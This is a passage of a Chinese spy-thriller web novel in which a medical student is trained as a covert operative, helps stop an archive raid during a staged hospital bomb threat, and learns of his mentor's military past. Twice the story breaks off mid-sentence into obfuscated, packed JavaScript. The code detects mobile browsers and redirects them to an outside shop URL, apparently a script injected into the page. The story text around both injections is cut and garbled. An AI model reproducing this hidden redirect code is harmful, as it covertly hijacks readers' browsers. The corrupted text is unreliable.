【明白。但关二小姐,您最近真的对这件事投入太多了。这不像您平时的风格。】 关文晶看着这条信息,沉默了很久。 然后她打字: 【也许是因为,我在这条小蛇身上,看到了当年自己的影子。】 发送后,她删掉记录。 车窗外,城市灯火流淌。 这场游戏里,每个人都在选边站队。 而她,关文晶,似乎正在选一条最危险的路:不选任何一边,而是在两边之间走钢丝。 钢丝下面,是万丈深渊。 但她别无选择。 因为有些事,只能这样做。 有些蛇,也许还值得被引导向光明。 哪怕只有一丝可能。 顶楼会议室里弥漫着一股淡淡的血腥味——不是真正的血,而是模拟训练用的合成血浆,洒在地上还没来得及完全清理。 徐燕风坐在那把金属椅上,手里拿着一条湿毛巾,慢慢擦拭手上的红色污渍。他的夹克搭在旁边的椅背上,袖口有一道撕裂,是昨晚在纺织厂废墟被生锈的铁皮刮破的。 门开了,钟妍妍走进来。她今天没穿白大褂,而是一身深蓝色的运动套装,头发高高束起,露出干净利落的脖颈线条。她手里拿着一个平板电脑,屏幕亮着,上面是昨晚任务的全过程记录。 “伤口处理了?”她问,没有看徐燕风,而是径直走到窗边推开一扇窗,让新鲜空气流进来。 “小擦伤,消毒包扎了。”徐燕风说。 钟妍妍点点头,转回身,靠在窗台上,平板电脑放在手边:“复盘昨晚的任务。先说亮点。” 她调出第一段视频——是徐燕风在滨河路发现疑似跟踪者时的画面,监控角度很远,但能看出他停下、观察、做出判断的过程。 “在滨河路发现尾巴,没有慌张,没有加速逃离引起注意,而是选择测试——扔砖头制造声音,观察对方反应。这是对的。在不确定对方意图时,先确认威胁级别,再决定应对策略。” 她又调出第二段:厂房里,徐燕风蹲在摩托车旁,观察两个伏击者的位置。 “这里做得最好。”钟妍妍难得地用了赞赏的语气,“发现一个埋伏者后,没有立刻行动而是继续观察,找到了第二个。大多数新手会犯两个错误:要么没发现第二个,要么发现了但以为自己能对付。你选择了最稳妥的方式——评估形势,确认无法安全通过后,准备撤离。” 徐燕风抬起头:“但那不是撤离是强突。” “因为情况变了。”钟妍妍调出第三段视频——汽车警报响起,伏击者分神的瞬间,“当外部干扰出现时,你立刻抓住机会,改变策略从撤离转为突破。这种应变能力,不是教出来的,是天生的,或者……是压力逼出来的。” 她关掉平板,走到徐燕风面前,双手插在口袋里:“昨晚的任务,如果满分是十分,我给你七分。扣分点:第一,在废墟入口停留时间过长,给了伏击者锁定你的机会;第二,启动干扰器时没有考虑到会影响自己的通讯,导致我们有四十秒失联;第三,任务完成后在网吧外停留观察,暴露在公共视野中超过必要时间。” 她顿了顿:“但这七分,已经超过大多数第一次执行实战任务的人。你证明了自己有潜力。” 徐燕风放下毛巾:“那两个人是谁?” “黑市信息贩子雇的打手。”钟妍妍没有隐瞒,“有人泄露了这次交易的部分信息——不是核心内容,只是时间地点。对方想拦截U盘或者至少知道里面是什么。” “谁泄露的?” “还在查。”钟妍妍说,“可能是买方那边的人,可能是中间环节,也可能……”她看了徐燕风一眼,“是你被跟踪时暴露的。” 徐燕风皱眉:“我确定甩掉尾巴了。” “确定?”钟妍妍调出另一张图——是旧城区某个小巷口的监控截图,时间戳是昨晚八点十六分,“你在这个巷口停下确认方向时,后面那个人,你以为他是用手机看地图?” 她放大图片,虽然模糊,但能看出那人手机屏幕上的界面——不是地图,而是一个实时追踪软件,屏幕上有一个红点在移动。 “你身上有追踪器。”钟妍妍说。 徐燕风愣了一下,立刻开始检查衣服、背包、摩托车钥匙。 “不用找了,已经处理了。”钟妍妍从口袋里拿出一个指甲盖大小的黑色薄片,“贴在你摩托车油箱盖内侧,磁性吸附,很隐蔽。应该是昨天下午到傍晚之间被放上去的。” “谁放的?” “不知道。但能接近你的摩托车,还能不被你发现,说明对方对你的行踪很了解,而且有专业的反侦察意识。”钟妍妍把追踪器扔进旁边的垃圾桶,“从今天起,每次出任务前全面检查车辆和个人物品。我会给你一套检测设备。” 徐燕风感觉后背一阵发凉。他一直以为自己很警觉,但实际上,从昨天下午开始,他的一举一动可能都在别人的监控下。 “这是这个世界的常态。”钟妍妍像是看穿了他的想法,“信任是奢侈品,怀疑是生存必需品。你越有价值,盯着你的人就越多——敌人、盟友、甚至可能是……自己人。” 她走回窗边,看着窗外:“徐燕风,我教你的这些东西,不是为了让你成为英雄,也不是为了让你成为罪犯。是为了让你在这个蛇窝里活下去,并且完成该完成的事。” 她转过身,眼神变得深邃:“但你要记住一件事:蛇的毒牙,只在必要时露出。平时它盘踞在阴影里,安静,隐蔽,看起来甚至有点温顺。只有到生死关头,或者猎物进入攻击范围时,它才会昂起头,露出毒牙一击致命。” 她走到徐燕风面前,俯身,两人的距离很近,徐燕风能看清她瞳孔里自己的倒影。 “你现在正在长毒牙。”钟妍妍的声音很轻但每个字都像刻在骨头上,“这是好事,也是坏事。好事是你有了自保的能力;坏事是,一旦有了毒牙,你就会忍不住想用。想测试它的威力,想证明自己的强大,想在那些曾经轻视你的人面前昂起头。” 她直起身:“别让毒牙控制你。要控制毒牙。让它成为你的工具,而不是你的本性。” 徐燕风沉默了几秒,然后问:“您是在说您自己吗?” 钟妍妍愣了一下。 “您也有毒牙。”徐燕风继续说,“而且您用过很多次。阮氏香是其中一个,还有其他我不知道的。您控制住了吗?还是……毒牙已经成了您的一部分?” 会议室里安静下来。窗外的风刮进来,吹动钟妍妍额前的碎发。她没有立刻回答而是走到办公椅旁坐下,手指无意识地敲击着扶手。 “我曾经控制不住。”她最终开口,声音有些飘忽,“二十年前,我父亲私奔的时候;十五年前,我母亲病死的时候;十年前,我第一次执行‘清除任务’的时候……每一次,毒牙都想完全控制我,想让我咬向所有我觉得该死的人。” 她抬起眼,看向徐燕风:“但我不能。因为一旦被毒牙控制,我就和那些人没有区别了。我会从执行正义的人,变成制造混乱的人。从清除毒瘤的人,变成新的毒瘤。” “那您怎么控制的?”徐燕风问。 “规则。”钟妍妍说,“我给自己定了三条规则:第一,目标必须是法律无法制裁、且确实罪有应得的人;第二,必须有确凿证据,不能凭个人好恶;第三,手段必须干净,不能伤及无辜,不能留下把柄。” 她顿了顿:“这三条规则,是我和魔鬼之间的界限。每次任务前,我都会问自己:这个人符合这三条吗?如果符合,我动手。如果有一条不符合,我退出。” “昨晚的U盘里是什么?”他问。 “陈婉清病历的完整副本以及她收集的贪污证据的加密备份。”钟妍妍没有隐瞒,“买方是她家人委托的律师,他们要确保这些证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937040|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据安全送达,不被州政府里的人拦截。” “所以这不是非法交易,是在帮人?” “是,也不是。”钟妍妍说,“从法律角度我们窃取了加密医疗数据,属于违法。但从道德角度,我们在帮一个受害者传递救命证据。这个世界很少有纯粹的黑白,大多数时候是灰色。你要学会在灰色地带行走,同时不让自己被染黑。” 她站起身,走到墙边的白板前,拿起马克笔,画了一个简单的坐标系: “X轴是‘合法性’,Y轴是‘道德性’。大多数人生活在第一象限——既合法又道德。但有些人,因为各种原因,被迫进入第二象限——不合法但道德,或者第四象限——合法但不道德。” 她在第二象限画了一个点:“我们现在在这里。做的事不合法,但目的道德。这是最危险的位置,因为法律不保护你,道德也不一定站在你这边。你要时刻清楚自己在做什么,为什么做,以及……代价是什么。” 徐燕风看着那个点,忽然问:“那关文晶呢?她在哪个象限?” 钟妍妍的手停顿了一下。 “她在第一象限。”她最终说,语气有些复杂,“至少她自己是这么认为的。合法,道德,维护正义。但她不知道的是她所维护的那个‘正义’系统,本身就已经腐烂了。她以为她在救死扶伤,实际上可能是在帮某些人掩盖罪行。” “比如?” “比如她背后的关家。”钟妍妍放下笔,“关家在瑆洲三代行医,德高望重。但你知道她父亲关正清,曾经的中医泰斗,用过多少不光彩的手段吗?你知道关家投资的私立医院,有多少违规操作吗?” 她看着徐燕风:“关文晶选择相信她的家族,相信她所受的教育,相信法律和秩序。这没有错。错的是,她相信的东西,可能本身就不值得相信。” 徐燕风想起关文晶那晚在儿科办公室说的话:“她在演戏,你也在演戏,大家都在演戏。” 也许关文晶自己都不知道,她也在某个剧本里。 “下周的任务。”钟妍妍回到正题,“难度升级。不是传递物品,是获取信息。目标地点:国立档案馆的地下资料库。目标物品:一份三十年前的旧档案,关于一起医疗事故的原始记录。” 她递过来一张照片——是一份泛黄的档案袋,封面用钢笔写着“瑆洲圣保罗医院·1988年7月·手术室火灾事故调查报告”。 “这次不是对抗黑市打手,而是对抗安保系统。”钟妍妍说,“档案馆晚上十点闭馆,安保系统凌晨十二点启动,早上六点关闭。你有六个小时窗口期。但里面有运动传感器、红外摄像头、压力感应地板。你需要规划路线避开所有探测器,找到档案,拍照,原样放回。” 徐燕风接过照片:“为什么要这份档案?” “因为那场火灾不是意外是人为纵火,目的是销毁一批涉及当时医院高层贪污的证据。但有一份原始调查报告被秘密保存了下来,后来转存到档案馆。我们需要里面的证词和物证照片。” 她看着徐燕风:“这次任务如果你完成就证明你具备了独立执行复杂任务的能力。你可以选择继续,也可以选择退出——带着你已经学到的技能和一笔足够你完成学业的报酬。” “如果我继续呢?” “那就意味着你拥有蛇系特工的资格。” 蛇系特工。这个词像一块石头,扔进徐燕风心里,激起涟漪。 他想起自己从小到大的经历:普通家庭,普通成绩,普通人生……但现在,有人告诉他,他可以拥有另一种不普通的能力——一种非世俗的地位或金钱,而是在阴影里影响事情走向的特殊能力。 那种诱惑,比任何报酬都强烈。 “我考虑一下。”他说。 “当然。”钟妍妍点头,“给你三天时间。下周二同一时间,给我答案。” 她开始收拾东西,准备离开。走到门口时,她停住,回头: “徐燕风,最后提醒你一件事:无论你选择继续还是退出,昨晚在厂房里发生的事,都会成为你的过去。那些盯着你的人,不会因为你退出就消失。毒牙一旦长出,就再也缩不回去。你唯一能做的,是学会控制它。” 她顿了顿:“还是那句话:蛇的毒牙,只在必要时露出。别让它成为你的本能,要让它成为你的选择。” 门关上。 徐燕风独自坐在会议室里,手里还拿着那张泛黄档案的照片。 窗外的阳光斜射进来,在地板上切出明亮的光带。 他低头看自己的手——修长,稳定,没有颤抖。 这双手,昨晚握过车把,扔过砖头,接过U盘,撞过铁门。 未来,它们还会做什么? 他不知道。 但他知道,从昨晚开始,他已经不是原来的徐燕风了。 毒牙正在长出。 而他要做的,是学会控制它。 或者在失控前,选择另一条路。 他站起身,把照片收进口袋,走出会议室。 走廊里空无一人,只有他的脚步声在回荡。 像蛇在洞穴里滑行。 悄无声息。 但已经准备好了,在必要时露出毒牙。 23. 医院炸弹威胁 在一个看似平常的日子里,圣保罗医院总机毫无预兆地突然接到了一通匿名电话。 这通电话被转接至行政部办公室,值班的年轻文员柏李斯刚拿起听筒,一个经过变声处理的诡异电子音便从听筒中传出,那声音像是来自黑暗深处,透着一股冰冷与阴森:“圣保罗医院主楼、门诊部、住院楼各有一颗炸弹。引爆时间:中午十二点整。疏散所有人,否则后果自负。” 话音刚落,“嘟——嘟——”的电话挂断声便传来。柏李斯愣在原地,足足过了两秒,才像是突然被电击了一般回过神来,手忙脚乱地赶紧按下紧急呼叫按钮。刹那间,刺耳的警报声如同一头愤怒的猛兽在全院疯狂咆哮,不同于火警那种断断续续的鸣笛声,这是连续不断的高频蜂鸣,如同尖锐的针一般扎进每个人的耳膜,这可是最高级别的安全警报,意味着“立即疏散”! 十点十九分,广播系统也紧跟着启动,那严肃且急促的声音回荡在医院的每一个角落: 【紧急通知!紧急通知!医院收到安全威胁,请所有人员立即按照疏散路线撤离建筑!重复,立即撤离!这不是演习!】 最后那句“这不是演习”,原本是标准程序用语,可今天,它却成了一个彻头彻尾的谎言。 --- 地点:儿科 关文晶正专注地给一个肺炎患儿听诊,警报声骤然响起,那一瞬间,她的动作微微一顿,但手上的力度却很稳,依然有条不紊地继续完成了肺部听诊。随后,她冷静地摘下听诊器,眼神坚定地对旁边早已面露慌张的护士说道:“开始疏散。优先转移危重患儿,顺序按预案来。” 她的声音听起来平静得就像在安排日常查房,可周围的护士们却早已慌了神。要知道,儿科此时有四十多个住院患儿,其中八个正在吸氧,三个依靠着呼吸机维持呼吸,还有两个刚做完手术,正处于监护的关键时期。 “关医生,呼吸机……”一名护士焦急地开口,声音里满是担忧与无措。 “手动复苏囊。”关文晶没有丝毫犹豫,话音未落,人已经快步走到墙边,一把拉开一个柜子,里面整齐摆放着整排的急救设备。她一边迅速拿起设备,一边有条不紊地安排着:“每个人负责一个危重患儿,家属协助。能走的自己走,不能走的用轮椅或担架。走消防通道,千万不要挤电梯。” 说着,她手脚麻利地给一个两岁的哮喘患儿接上便携式氧气瓶,然后毫不犹豫地抱起孩子就往外走。孩子的母亲紧跟在后面,早已哭得满脸是泪,声音颤抖地说道:“医生,我儿子他……” “跟我走,别停。”关文晶脚步匆匆,声音斩钉截铁,不容置疑。 此时的走廊里,已然乱成了一锅粥。医护人员奋力推着设备车,家属们紧紧抱着孩子,护工们则吃力地扶着老人,所有人都如同潮水一般,朝着出口涌去。哭喊声、呼喊声、警报声交织在一起,仿佛是一场灾难片正在真实上演。 关文晶抱着患儿好不容易走到消防通道口,却发现这里人满为患,已经被堵得水泄不通。她只看了一眼,便果断转身,大声说道:“走另一边,手术室专用通道。” 那条通道平时都是锁着的,只有医护人员刷卡才能打开。关文晶迅速用胸牌刷开门,带着几个危重患儿和家属走进通道。通道里空荡荡的,只有应急灯散发着诡异的绿光,像是一双双神秘的眼睛注视着他们。关文晶把怀中的患儿交给一个护士,严肃地叮嘱道:“带到后院集合点。” 说完,她毅然决然地转身往回走。 “关医生!你去哪?”护士焦急地大声呼喊。 “还有孩子没出来。”关文晶头也不回,声音坚定地回答道。 --- 地点:圣保罗医学院教学楼四楼自习室 徐燕风隐隐约约听到楼下传来一阵骚动,他下意识地站起身,走到窗边,朝着医院主楼方向望去。只见人群如同密密麻麻的蚂蚁一般,从各个出口涌出,纷纷聚集在前院和后院。警车和消防车也已经呼啸着赶到现场,红蓝灯光不停地闪烁,在阳光的映照下显得格外刺眼。就在这时,他的手机突然震动了起来——不是普通短信,而是加密通讯,上面赫然显示着:【威胁为演习,但有人趁机混入。目标:档案室。你的任务:确认档案室安全,阻止任何非法进入。——V】 徐燕风微微眯起眼睛,心中不禁泛起一阵疑惑:演习?那为什么广播里要说“这不是演习”? 除非……这所谓的演习不过是个幌子,真正的目的是故意制造混乱,好让某些人趁机浑水摸鱼,去做别的事情。 他来不及多想,迅速从后门离开实验室。医学院到医院主楼之间有一条鲜为人知的地下通道,平时很少有人走,此刻通道里空荡荡的。通道里的灯光昏暗而摇曳,仿佛随时都会熄灭,他的脚步声在通道里回荡,显得格外清晰。徐燕风心急如焚,脚步匆匆,脑子里快速回忆着档案室的位置——在主楼三楼西侧,靠近行政办公室。那里存放着医院建院以来的所有纸质档案,从人事资料到财务记录,再到医疗事故相关文件,可谓是医院历史的“百宝箱”。 他一边跑,一边在心里暗自思忖:为什么会有人趁乱想要进入档案室呢?是为了销毁某些不可告人的证据?还是想偷走重要的文件?又或者,这次炸弹威胁本身,就是一场精心策划的调虎离山之计? 很快,徐燕风冲出地下通道,进入了主楼。此时的主楼里已经基本空无一人,只有零星几个医护人员还在进行最后的检查,确保没有遗漏任何患者。警报声依旧震耳欲聋,像是要将整个大楼都震塌一般。 他沿着楼梯快速上到三楼,走廊里寂静得有些可怕,所有办公室的门都敞开着,灯还亮着,电脑屏幕上闪烁着屏保,仿佛在诉说着这里刚刚经历的慌乱。 档案室的门关着,但锁是电子锁,按照消防规定,断电后会自动解锁,防止紧急情况下有人被困在里面。此时,门只是虚掩着。 徐燕风小心翼翼地轻轻推开,一股陈旧的气息扑面而来,里面一片漆黑。他从口袋里掏出一个小手电——这是钟妍妍给他的,光线很集中但不会太亮,刚好适合这种隐秘的环境。 档案室非常大,一排排高大的档案柜整齐排列着,宛如一座巨大的迷宫。空气中弥漫着灰尘和旧纸张混合的味道,让人忍不住想要打喷嚏。 他侧耳倾听,试图捕捉任何一丝异常的声响。终于,他听到了,很轻很轻,像是纸张翻动的声音,从档案室的最里面隐隐传来。 徐燕风当机立断,迅速关掉手电,让眼睛慢慢适应黑暗。然后,他贴着墙,脚步放得极轻,落地时先用脚尖轻点地面,再慢慢放下脚跟,尽量不发出一点声响——这是钟妍妍教过他的潜行技巧。 转过一个拐角,他终于看见了。 一个人影正蹲在最里面的一个档案柜前,用手电照着柜门上的标签,正在快速翻阅一个厚厚的文件夹。那人穿着医院的工勤制服,头上戴着帽子,脸上还戴着口罩,根本看不清面容。 但徐燕风还是注意到了一个细节:那人的右手手腕上,戴着一块军表,表盘在黑暗中发出微弱的夜光。 他心中一惊,这和之前在图书馆见过的那个中年男人戴的表一模一样。 这是同一个人吗?还是属于同一类人呢? 徐燕风没有贸然冲出去,而是继续耐心观察。那人看起来十分专注,翻页的速度很快,显然是在寻找特定的内容。文件夹的标签上写着:“1988-1992·人事变动记录”。 奇怪,不是医疗事故档案,而是人事档案,他究竟在找什么呢?是某个人的记录吗? 徐燕风小心翼翼地慢慢靠近,当距离缩短到五米左右时,他的脚不小心碰到了一个倒在地上的资料盒,发出了轻微的摩擦声。 那人猛地抬起头,手电光束瞬间扫了过来。 徐燕风没有躲避,反而果断打开自己的手电,强光直射对方的脸。刺眼的强光让对方下意识地抬手遮挡。 “你是谁?在这里做什么?”徐燕风压低声音问道,刻意让自己的声音听起来更有威慑力。 那人缓缓放下手,露出一双冷静的眼睛——年纪看起来不小了,眼角布满了皱纹,但眼神却异常锐利。他没有回答徐燕风的问题,而是迅速合上文件夹,塞回柜子,然后转身拔腿就跑。 他并没有往门口的方向跑,而是朝着档案室的深处跑去——那里应该是没有出口的,像是在自寻死路。 徐燕风毫不犹豫地追了上去。档案柜之间的通道很窄,两人一前一后,脚步声在寂静的档案室里格外清晰,仿佛敲打着紧张的节奏。转过两个弯,前面果然是一条死路——一面墙,墙边杂乱地堆着一些废弃的家具和箱子。 那人停下脚步,转过身,背靠着墙,大口喘着粗气。手电的光束在两人之间晃动,气氛紧张到了极点。 “让开。”那人声音沙哑,但却带着不容置疑的命令感。 “你是军方的人?”徐燕风没有退让,反而继续逼问道。 那人眼神微微闪烁了一下:“你不是医院的人。学生?还是……钟妍妍的人?” 他居然知道钟妍妍! 徐燕风心里一紧,但表面上依然不动声色:“我在问你的身份。” “你没有权限知道。”那人说着,从口袋里掏出一个东西——不是武器,而是一个黑色的证件夹,他快速翻开了一下,又合上,“让开,这是命令。”证件只是一闪而过,但徐燕风还是看清了封面上的标志:一个抽象的三头蛇,和那份传真病历上的印章一模一样。这个人,和钟妍妍是同一个部门?还是不同派系呢? “你在找什么?”徐燕风继续紧追不舍地问道,同时慢慢向前逼近。 “最后警告,让开。”那人说着,把手伸向腰间——那里鼓鼓的,很可能藏着一把枪。 就在这千钧一发之际,档案室门口突然传来另一个声音: “放下手,慢慢转身。” 是关文晶! 她站在门口,手里拿着一个灭火器——不是当作武器吓唬人,而是真的打开了保险栓,喷口正对着那人。 “关医生?”徐燕风有些意外地叫出声来。 “徐燕风,退后。”关文晶声音冷静而沉稳,“这个人我认识......他在找一份不该找的档案。” 男人冷笑一声:“关二小姐,好久不见。你父亲还好吗?” “不劳费心。”关文晶冷冷地说道,“放下手,慢慢走出来。外面都是警察和消防员,你想被当成炸弹嫌犯吗?” “炸弹?”男人不屑地冷笑,“那通电话是我打的。不过是一场演习罢了,为的就是调开你们这些碍事的医生护士。没想到,居然还有你们两个聪明人没走。”他看了一眼徐燕风,又把目光投向关文晶:“你们俩……有意思。关家二小姐,和钟妍妍新养的小蛇,居然凑到一起了。这是要合作,还是互相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同年八月,钟妍妍的父亲跑路,档案被移交到档案馆。 而现在,b军区的人却在寻找这份档案。 “钟妍妍的父亲……”徐燕风忍不住开口。 “不是辞职。”关文晶轻轻合上文件夹,声音很轻,但却如同重锤一般砸在徐燕风心上,“是被开除的。因为那场火灾,他被指控玩忽职守,导致两名护士死亡。但后来调查却不了了之,档案也被封存。” 她看着徐燕风,眼神复杂:“钟妍妍没告诉过你,对吧?她只说她父亲跟女人跑了,没说他曾经是圣保罗医院的会计,更没说他卷进过医疗事故。” 徐燕风沉默不语。钟妍妍确实从未提起过这些事。她只诉说过父亲私奔、母亲病逝,家庭破碎的悲惨遭遇。 但如果她父亲是被冤枉的呢? 如果那场火灾真的是有人为了销毁贪污证据而故意为之,而她父亲只是不幸成为了替罪羊呢? 那钟妍妍的复仇,就不只是针对那个失足女那么简单了。 而是针对整个让她们家支离破碎的系统。 “你要告诉她吗?”徐燕风看着关文晶问道。 关文晶犹豫了一下,缓缓摇头:“现在还不行。这件事水太深,我们知道的只是皮毛。而且……” 她看着徐燕风,眼神中透露出一丝担忧:“而且我不知道,她知道真相后,是会就此收手,还是会变得更加疯狂。” 就在这时,窗外传来广播声,警报声终于停止,取而代之的是一个平静的男声: 【演习结束。重复,刚才的炸弹威胁是安全演习的一部分。所有人员可以返回工位。给大家造成的不便,敬请谅解。】 演习结束了。 混乱逐渐平息。 但有些东西,却已经悄然改变了。 关文晶把文件夹放回原处,仔细整理好:“今天的事,不要告诉钟妍妍。” “为什么?”徐燕风不解地问道。 “因为我不确定,她是不是已经在查这件事了。”关文晶认真地说道,“如果她在查,那她迟早会知道。如果她不知道,那我们贸然告诉她,只会打乱她的计划——或者,让她陷入更危险的境地。” 她顿了顿,目光严肃地看着徐燕风:“徐燕风,我知道你现在为她工作。但我要提醒你:钟妍妍走的是一条钢丝,下面不是普通的深渊,而是刀山火海。你跟着她,要么学会走钢丝,要么……” “要么摔下去。”徐燕风接着她的话说道。 关文晶点了点头:“好自为之。” 说完,她转身离开了档案室,脚步声渐行渐远,只留下徐燕风独自站在黑暗中。手电的光束照在档案柜上,“钟建国”三个字在标签上清晰可见。 他不禁想起钟妍妍说过的话:“眼镜蛇的毒牙,只在必要时露出。” 现在他终于明白了。 必要的时候,可能是为了保护自己。 也可能是为了……复仇。 而他自己,正在努力学习如何成为一条眼镜蛇。 为了什么? 他还没想清楚。 但他知道,从今天开始,这场复杂的游戏,又多了新的玩家,和新的秘密。 而秘密,往往比炸弹更加危险,随时可能引发意想不到的后果。 24. 钟妍妍的过去 十二年前,瑆洲东南部与吕宋边境,战地医院。 雨下得很大,敲打着临时搭建的帆布屋顶,声音密集得像机枪扫射。帐篷里只有一盏煤油灯,火光摇曳,在湿漉漉的帆布上投下扭曲的影子。 钟妍妍跪在地上,双手满是血——不是她的,是担架上那个年轻士兵的。子弹从锁骨下方穿入,撕裂了锁骨下动脉,血像喷泉一样涌出,浸透了她的白大褂、她的手套、她脚下粗糙的木板。 “血压测不到了!”旁边的护士喊,声音在雨声中显得尖锐而绝望。 “静脉通道,双管,乳酸林格氏液加温!”钟妍妍的声音很稳,稳得像手术刀切开皮肤的第一刀,“准备输血,O型阴性,拿四单位!” 她一边说,一边用止血钳夹住动脉的破口。血暂时止住了,但士兵的脸色已经苍白得像纸,瞳孔开始散大。 “血库说O型阴性只剩两单位了……”护士的声音颤抖。 “那就两单位!快去!”钟妍妍没抬头,全部注意力都在那个小小的伤口上。动脉壁太脆了,止血钳一夹就撕裂得更厉害。她换了一种角度,用更细的血管钳,手指稳得可怕。 她才二十三岁,医学院还没毕业,自愿报名来边境战地医院轮转。在这里她学到了教科书上没有的东西:如何在炮火声中完成手术,如何在断电时用手电做光源,如何在没有足够血源的情况下决定先救谁。 也学到了,死亡有多近。 士兵的呼吸越来越弱。监护仪上的心电图变成一条直线,发出单调的长鸣。 “除颤仪!200焦耳!”钟妍妍吼。 “医生,他已经……” “200焦耳!现在!” 电击,胸廓弹起又落下。直线,还是直线。 “300焦耳!” 第二次电击。心电图挣扎了一下,出现几个室性逸搏,又归于平直。 “肾上腺素1毫克静脉推注!继续胸外按压!” 她接手按压,手掌压在士兵的胸骨上,一下,两下,三下……节奏稳定,深度足够,但心里知道,已经没用了。 十五分钟后,她宣布死亡时间。 帐篷里安静下来,只有雨声和煤油灯火焰轻微的噼啪声。护士们开始收拾器械,沉默地拉过白布盖住士兵的脸。那张脸很年轻,可能还不到二十岁,下巴上还有没刮干净的绒毛。 钟妍妍脱掉沾满血的手套,走到帐篷外。雨小了些,但依然细密。她点了一支烟——来边境后学会的,不是为了烟瘾,是为了手里有点东西可以握。 “又一个?”身后传来一个低沉的声音。 她回头,是一个中年男人,穿着迷彩服,没戴军衔但站姿笔挺。他脸上有一道疤,从左眉骨划到嘴角,让他的笑容看起来有点狰狞。 “动脉破裂,失血过多。”钟妍妍说,声音有些沙哑。 “不是你的错。”男人走到她旁边,也点了一支烟,“在这种地方,能救活一半人已经是奇迹。” “他本可以活的。”钟妍妍盯着雨幕,“如果有足够的血,如果有更好的设备,如果……” “如果战争不存在。”男人接上,“但战争存在。所以我们在这里。” 他递给她一个金属扁壶:“喝一口。医用酒精兑的伏特加,消毒又提神。” 钟妍妍接过,喝了一大口。液体灼烧喉咙,让她咳嗽起来,但脑子确实清醒了些。 “你是新来的医生?”男人问。 “妇科,轮转三个月。” “妇科?”男人挑眉,“在这里可没有孕妇给你接生。”“所以他们让我处理外伤。”钟妍妍苦笑,“缝合、止血、截肢……什么都做。” 男人打量着她:“你手法不错。刚才我看了,止血钳用得稳,电击时机也对。就是太……理想主义了。” “理想主义?” “你觉得每个人都该救活。”男人说,“但在战场上,资源有限,时间有限,人力有限。有时候,你要学会选择。” “选择谁活谁死?” “选择谁能救活,谁不能。”男人纠正,“这不是残忍,是现实。一个重伤员需要四个人照顾,同样的资源可以救三个轻伤员。你要算这笔账。” 钟妍妍没说话。她想起医学院的希波克拉底誓言:“我将竭尽全力,采取我认为有利于病人的医疗措施,不能给病人带来痛苦与危害。” 但现在,她不得不做出选择。 “你叫什么名字?”男人问。 “钟妍妍。” “我姓边。你可以叫我边兄。”他顿了顿又说:“有兴趣学点……不一样的东西吗?” “什么东西?” “如何在这种地方活下去,并且完成任务。”边兄说,“你是个好医生,但医生只能救人。我想教你如何……保护人。包括保护你自己。” 钟妍妍看着他:“你是军方的人?” “是。”边兄没有正面回答,“现在,我在执行是个教别人活下去的任务。” 他递给钟妍妍一张卡片,上面只有一个电话号码:“考虑一下。你还有两个月轮转期足够学会基础。” 说完,他转身走进雨幕,消失在战地医院杂乱的帐篷间。 钟妍妍看着手里的卡片,又看了看帐篷里那个被白布覆盖的年轻士兵。 那一夜,她没睡。 --- **两个月后,边境丛林深处,一个隐蔽的训练营地。** 钟妍妍趴在泥泞里,身上盖着伪装网,脸上涂着油彩,手里拿着一把改装过的狙击步枪——不是真枪,是训练用的激光模拟器。她已经在这里训练了四周,学会了如何潜行、如何观察、如何设置陷阱、如何在野外生存。也学会了如何杀人——理论上。 “目标出现”耳机里传来边兄的声音,“十点钟方向,距离三百米,移动速度慢,疑似侦察兵。你的任务:确认身份,如为敌方,清除。” 钟妍妍透过瞄准镜看过去。丛林中,一个人影缓慢移动,穿着平民衣服,背着一个背包,看起来像是迷路的村民。但钟妍妍注意到细节:那人的步伐很稳,没有迷路者的慌张;背包的背带调整得很专业,不是普通村民的背法;他的手一直放在腰间,那里鼓出一块——可能是武器。 “无法确认身份。”她低声说,“可能是平民。” “在边境,没有平民。”边兄的声音冷静到冷酷,“只有敌人,和潜在的敌人。开枪。” 钟妍妍的手指放在扳机上,微微发抖。 她杀过人——在手术台上,宣布过死亡。但那是不一样的。那是为了救人而失败,不是主动扣下扳机。 “战场不是手术室。”边兄说,“犹豫会害死你自己,也会害死你的队友。开枪。” 钟妍妍闭上眼,深吸一口气,再睁开。 瞄准镜里的十字线对准那人的胸口。 她扣下扳机。 激光发射,命中。那人身上佩戴的感应器发出“嘀”的一声,代表“阵亡”。 那人停下,举起双手,然后转身朝她这边看了一眼——眼神里没有愤怒,只有一种平静的认可。他是训练中的“演员”,不是真正的敌人。 钟妍妍松开扳机,手还在抖。 “任务完成。”边兄说,“但用时太长。真正的敌人不会给你三十秒犹豫时间。” 他从后面的树丛里走出来,脸上依然是那道疤,但眼神里多了一丝赞许:“不过,第一次实战模拟,能完成已经不错了。” “如果他是平民呢?”钟妍妍问。 “那就误杀。”边兄说,“在这个游戏里误杀是代价之一。你要做的不是避免误杀,而是尽量减少误杀的概率——通过更准确的判断,更快的决策。” 他拉起钟妍妍:“起来。今天的课结束了。” 两人走回营地。那是个简陋的营地,几个帐篷,一个训练场,一个简易的射击场。这里没有名字,没有编号,只有代号。边兄是教官,钟妍妍是学员-7号。 “为什么选我?”钟妍妍问,这是她一直想问的问题。 “因为你有医生背景。”边兄说,“医生了解人体,知道哪里致命,哪里只是致伤。医生也有冷静的头脑和稳定的手。最重要的是……” 他顿了顿:“你经历过失去。失去过的人,要么崩溃,要么变得更坚韧。你是后者。” 钟妍妍想起父亲,想起母亲,想起那个破碎的家。 “你想复仇吗?”边兄问得直接。 “我不知道。”钟妍妍诚实地说,“我只知道,我不想再失去了。” “那就学会保护。”边兄说,“保护你想保护的人,保护你自己。而保护的最好方式,不是躲起来,而是有能力反击。” 